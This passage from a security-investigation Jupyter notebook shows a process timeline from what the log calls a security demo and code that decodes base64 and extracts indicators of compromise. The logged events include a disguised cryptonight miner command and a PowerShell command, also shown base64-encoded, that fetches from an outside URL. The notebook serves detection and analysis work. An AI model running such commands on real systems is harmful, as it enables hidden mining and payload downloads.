\\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\servicing\\\\TrustedInstaller.exe\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin... -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\ICT 2\\\\CMF-64/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\Registry.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\"\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\"],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189],\"y_index\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"1623\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"1622\",\"type\":\"UnionRenderers\"}},\"id\":\"1592\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"callback\":null,\"formatters\":{\"Tooltip\":\"printf\"},\"tooltips\":[[\"NewProcessName\",\"@NewProcessName\"],[\"EventID\",\"@EventID\"],[\"CommandLine\",\"@WrapCmdl\"]]},\"id\":\"1551\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"1573\",\"type\":\"PanTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.5},\"fill_color\":{\"value\":\"navy\"},\"line_alpha\":{\"value\":0.5},\"line_color\":{\"value\":\"navy\"},\"size\":{\"units\":\"screen\",\"value\":10},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1588\",\"type\":\"Circle\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"#1f77b4\",\"x\":{\"field\":\"x\"},\"y\":{\"field\":\"y\"}},\"id\":\"1600\",\"type\":\"Line\"},{\"attributes\":{\"callback\":null},\"id\":\"1557\",\"type\":\"DataRange1d\"},{\"attributes\":{\"base\":24,\"mantissas\":[1,2,4,6,8,12],\"max_interval\":43200000.0,\"min_interval\":3600000.0,\"num_minor_ticks\":0},\"id\":\"1610\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1616\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"callback\":null},\"id\":\"1555\",\"type\":\"DataRange1d\"},{\"attributes\":{\"callback\":null,\"data\":{\"CommandLine\":[\"\\\"cmd\\\"\",\"\\\"C:\\\\WindowsAzure\\\\SecAgent\\\\WaSecAgentProv.exe\\\" -startPoll C:\\\\WindowsAzure\\\\Logs\\\\ 168.63.129.16 5248000 900000 21600000\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32 2\",\"cmd  /c echo Any questions about the commands executed here then please contact one of\",\"cmd  /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com\",\".\\\\suchost.exe   -a cryptonight -o bcn -u bond007.01 -p x -t 4\",\".\\\\powershell  -Noninteractive -Noprofile -Command \\\"Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\",\".\\\\powershell  -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdldC1Qcm9jZXNzOyBJbnZva2UtV2ViUmVxdWVzdCAtVXJpIGh0dHA6Ly93aDQwMWsub3JnL2dldHBzIg==\",\"C:\\\\Windows\\\\system32\\\\usoclient.exe StartScan\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga -FileName:C:\\\\WindowsAzure\\\\CollectGuestLogsTemp\\\\7a9d40f2-490e-4468-a8cf-b7822b95614d.zip\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\" /ua /installsource scheduler\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\",\"cmd  /c echo Begin Security Demo tasks\",\"C:\\\\Windows\\\\system32\\\\appidcertstorecheck.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe -Embedding\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\" GetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\" \\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize -quickscan -event -json -alldetectors\"],\"EventID\":[4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688,4688],\"NewProcessName\":[\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\WindowsAzure\\\\SecAgent\\\\WaSecAgentProv.exe\",\"C:\\\\Windows\\\\System32\\\\dllhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\W!ndows\\\\System32\\\\suchost.exe\",\"C:\\\\W!ndows\\\\System32\\\\powershell.exe\",\"C:\\\\W!ndows\\\\System32\\\\powershell.exe\",\"C:\\\\Windows\\\\System32\\\\UsoClient.exe\",\"C:\\\\WindowsAzure\\\\GuestAgent_2.7.41491.901_2019-01-14_202614\\\\CollectGuestLogs.exe\",\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\",\"C:\\\\Windows\\\\System32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cscript.exe\",\"C:\\\\Windows\\\\System32\\\\MusNotification.exe\",\"C:\\\\Windows\\\\System32\\\\conhost.exe\",\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\"C:\\\\Windows\\\\System32\\\\appidcertstorecheck.exe\",\"C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\",\"C:\\\\Windows\\\\WinSxS\\\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7ee6020e2207416d\\\\TiWorker.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\CMF\\\\DesiredStateConfiguration\\\\DscRun.exe\",\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health Service State\\\\Resources\\\\884\\\\pmfexe.exe\"],\"TimeGenerated\":{\"__ndarray__\":\"ABDfY42OdkIAoKXHjo52QgAgNTGOjnZCAAA3MY6OdkIAsEwxjo52QgCATTGOjnZCABBWMY6OdkIAsFcxjo52QgDAWDGOjnZCANCJLIuOdkIAMChQjY52QgCwnyaMjnZCAFAAGIyOdkIAkCQYjI52QgDw32ONjnZCAFDLZI2OdkIAQKrojI52QgCgNzGOjnZCAABLMY6OdkIAUJUai452QgAQvSyLjnZCAHDQLIuOdkIA4Gt7jo52QgDgRaaOjnZC\",\"dtype\":\"float64\",\"shape\":[24]},\"WrapCmdl\":[\"\\\"cmd\\\"\",\"\\\"C:\\\\WindowsAzure\\\\SecAgent\\\\WaSecAgentProv.exe\\\" -startPoll\\nC:\\\\WindowsAzure\\\\Logs\\\\ 168.63.129.16 5248000 900000 21600000\\n\",\"C:\\\\Windows\\\\system32\\\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}\\n\",\"cmd.exe /c c:\\\\Diagnostics\\\\WinSimulateAlerts.cmd c:\\\\W!ndows\\\\System32\\n\",\"cmd /c echo Any questions about the commands executed\\n\",\"cmd /c echo timb@microsoft.com; ianhelle@microsoft.com;\\n\",\".\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p\\n\",\".\\\\powershell -Noninteractive -Noprofile -Command \\\"Invoke-Expression\\nGet-Process; Invoke-WebRequest -Uri http://wh401k.org/getps\\\"\\n\",\".\\\\powershell -enc\\n\",\"C:\\\\Windows\\\\system32\\\\usoclient.exe StartScan\",\"\\\"CollectGuestLogs.exe\\\" -Mode:ga\\n\",\"\\\"C:\\\\Program Files (x86)\\\\Google\\\\Update\\\\GoogleUpdate.exe\\\"\\n\",\"C:\\\\Windows\\\\system32\\\\sppsvc.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -Embedding\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo \\\"MonitorKnowledgeDiscovery.vbs\\\"\\n\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff -ForceV1\\n\",\"cmd  /c echo Begin Security Demo tasks\",\"C:\\\\Windows\\\\system32\\\\appidcertstorecheck.exe\",\"C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\n\",\"C:\\\\Windows\\\\winsxs\\\\amd64_microsoft-windows-servicin... -Embedding\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\ICT 2\\\\CMF/DesiredStateConfiguration\\\\DscRun.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\ICT 2\\\\work\\\\localhost.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\n\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring Agent\\\\Agent\\\\Health\\nService State\\\\Resources\\\\884\\\\pmfexe.exe\\\" -PerfMode optimize\\n\"],\"index\":[0,31,37,38,41,42,43,44,45,57,110,135,159,160,1,2,14,39,40,51,60,62,65,75],\"y_index\":[2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2]},\"selected\":{\"id\":\"1621\",\"type\":\"Selection\"},\"selection_policy\":{\"id\":\"1620\",\"type\":\"UnionRenderers\"}},\"id\":\"1550\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"1620\",\"type\":\"UnionRenderers\"}],\"root_ids\":[\"1553\"]},\"title\":\"Bokeh Application\",\"version\":\"1.0.4\"}};\n",
       "  var render_items = [{\"docid\":\"1f2ccefb-e07d-4ef8-9235-04e1dd01d82f\",\"roots\":{\"1553\":\"c4c3458e-eeeb-483a-80b9-75aa8af9d0ca\"}}];\n",
       "  root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
       "\n",
       "  }\n",
       "  if (root.Bokeh !== undefined) {\n",
       "    embed_document(root);\n",
       "  } else {\n",
       "    var attempts = 0;\n",
       "    var timer = setInterval(function(root) {\n",
       "      if (root.Bokeh !== undefined) {\n",
       "        embed_document(root);\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "      attempts++;\n",
       "      if (attempts > 100) {\n",
       "        console.log(\"Bokeh: ERROR: Unable to run BokehJS code because BokehJS library is missing\");\n",
       "        clearInterval(timer);\n",
       "      }\n",
       "    }, 10, root)\n",
       "  }\n",
       "})(window);"
      ],
      "application/vnd.bokehjs_exec.v0+json": ""
     },
     "metadata": {
      "application/vnd.bokehjs_exec.v0+json": {
       "id": "1553"
      }
     },
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Show timeline of events - clustered events\n",
    "if not clus_events.empty:\n",
    "    nbdisp.display_timeline(data=clus_events, \n",
    "                            overlay_data=processes_on_host, \n",
    "                            alert=security_alert, \n",
    "                            title='Distinct Host Processes (top) and All Proceses (bottom)')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "<a id='cmdlineiocs'></a>[Contents](#toc)\n",
    "# Base64 Decode and Check for IOCs\n",
    "This section looks for Indicators of Compromise (IoC) within the data sets passed to it.\n",
    "\n",
    "The first section looks at the commandline for the alert process (if any). It also looks for base64 encoded strings within the data - this is a common way of hiding attacker intent. It attempts to decode any strings that look like base64. Additionally, if the base64 decode operation returns any items that look like a base64 encoded string or file, a gzipped binary sequence, a zipped or tar archive, it will attempt to extract the contents before searching for potentially interesting items."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 73,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "\n",
      "Potential IoCs found in alert process:\n"
     ]
    },
    {
     "data": {
      "text/plain": [
       "defaultdict(set, {'windows_path': {'.\\\\suchost.exe'}})"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "process = security_alert.primary_process\n",
    "ioc_extractor = sectools.IoCExtract()\n",
    "\n",
    "if process:\n",
    "    # if nothing is decoded this just returns the input string unchanged\n",
    "    base64_dec_str, _ = sectools.b64.unpack_items(input_string=process[\"CommandLine\"])\n",
    "    if base64_dec_str and '<decoded' in base64_dec_str:\n",
    "        print('Base64 encoded items found.')\n",
    "        print(base64_dec_str)\n",
    "        \n",
    "    # any IoCs in the string?\n",
    "    iocs_found = ioc_extractor.extract(base64_dec_str)\n",
    "    \n",
    "    if iocs_found:\n",
    "        print('\\nPotential IoCs found in alert process:')\n",
    "        display(iocs_found)\n",
    "else:\n",
    "    print('Nothing to process')\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### If we have a process tree, look for IoCs in the whole data set\n",
    "You can replace the data=process_tree parameter to ioc_extractor.extract() to pass other data frames.\n",
    "use the columns parameter to specify which column or columns that you want to search."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 76,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/html": [
       "<h3>IoC patterns found in process tree.</h3>"
      ],
      "text/plain": [
       "<IPython.core.display.HTML object>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    },
    {
     "data": {
      "text/html": [
       "<div>\n",
       "<style scoped>\n",
       "    .dataframe tbody tr th:only-of-type {\n",
       "        vertical-align: middle;\n",
       "    }\n",
       "\n",
       "    .dataframe tbody tr th {\n",
       "        vertical-align: top;\n",
       "    }\n",
       "\n",
       "    .dataframe thead th {\n",
       "        text-align: right;\n",
       "    }\n",
       "</style>\n",
       "<table border=\"1\" class=\"dataframe\">\n",
       "  <thead>\n",
       "    <tr style=\"text-align: right;\">\n",
       "      <th></th>\n",
       "      <th>IoCType</th>\n",
       "      <th>Observable</th>\n",
       "      <th>SourceIndex</th>\n",
       "    </tr>\n",
       "  </thead>\n",
       "  <tbody>\n",
       "    <tr>\n",
       "      <th>0</th>\n",
       "      <td>url</td>\n",
       "      <td>http://wh401k.org/getps\"</td>\n",
       "      <td>4</td>\n",
       "    </tr>\n",
       "    <tr>\n",
       "      <th>1</th>\n",
       "      <td>dns</td>\n",
